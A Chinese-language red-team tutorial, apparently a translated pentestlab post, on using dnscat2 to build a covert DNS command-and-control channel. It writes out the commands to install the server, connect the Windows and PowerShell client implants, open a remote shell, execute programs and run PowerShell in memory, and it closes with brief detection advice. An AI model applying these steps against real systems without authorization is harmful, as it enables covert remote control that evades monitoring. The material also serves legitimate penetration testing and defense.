通過DNS控制主機以及執行命令
即使在一些限制非常嚴格的環境下,DNS協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控制伺服器之間的通訊。由於命令和數據包都是在合法的dns查詢中傳輸的,所以很不容易被檢測到。
Dnscat2是可以實現這一技術的,它可以通過dns協議創建一個命令和控制信道。這一工具使用基於C語言編寫的客戶端(種植體),客戶端在目標機器執行,進而與服務端建立通信。通信過程中流量是進行加密傳輸的,並且通過預先共享的密鑰進行認證。
在kali2.0中安裝這一工具可以通過以下命令:
git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/bundle install
命令以及控制伺服器可以通過下面命令進行初始化:
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache
適用於windows的客戶端已經編譯好,你可以從https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip下載。下載完之後,只需運行一條於C&C服務端進行連接的命令:
dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169
在C&C服務端,紅隊就可以進行會話交互:
session -i 1
通過執行「help」命令會列出所有可執行的命令:
dnscat2的一些命令是可以上傳和下載文件的,並且可以通過執行其他程序得到一個遠程shell。
或者可以使用「shell「命令會打開另外一個會話。
以下輸出會在目標機器的命令行中顯示:
shell是互動式的,而且全部是通過dns進行傳輸的,速度而且很快。
通過調用exec命令可以遠程打開程序:
exec notepad.exe
Luke Baggett 已經開發出powershell版本的客戶端,並且已經在blackhillsinfosec網站中進行了介紹,這一版本的客戶端的命令和已經編譯好的客戶端命令是相同的,不過他還添加了一些其他功能,比如互動式的powershell會話以及可以在內存中執行任何程序。
以下命令就是在目標機器執行powershell版本客戶端:
PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169
還可以通過以下命令直接建立powershell會話:
exec psh
這樣會創建一個新的控制台,可以執行PowerShell命令和腳本:
結論
dnscat2通過DNS進行控制和執行命令有很多優點,比如:
1.支持多個會話
2.流量加密
3.通過使用密鑰防止MiTM攻擊
4.從內存中直接執行powershell腳本
5.隱蔽的
檢測這樣的攻擊是非常困難的,因為任意命令是通過合法的DNS流量進行傳輸的,所以應該強調監控DNS查詢的長度,並允許主機只與受信任的DNS伺服器進行通信。
點擊展開全文
※通過DNS響應欺騙來繞過域控制驗證
※Bashware攻擊:在Windows系統上運行Linux惡意軟體
※無需Ptrace就能實現Linux進程間代碼注入
※手機中突然多了幾款軟體,你猜是誰幹的?
※「雌雄大盜」逃亡記:黑客劫持警方無線電網路協助歹徒離犯罪現場
TAG:嘶吼RoarTalk |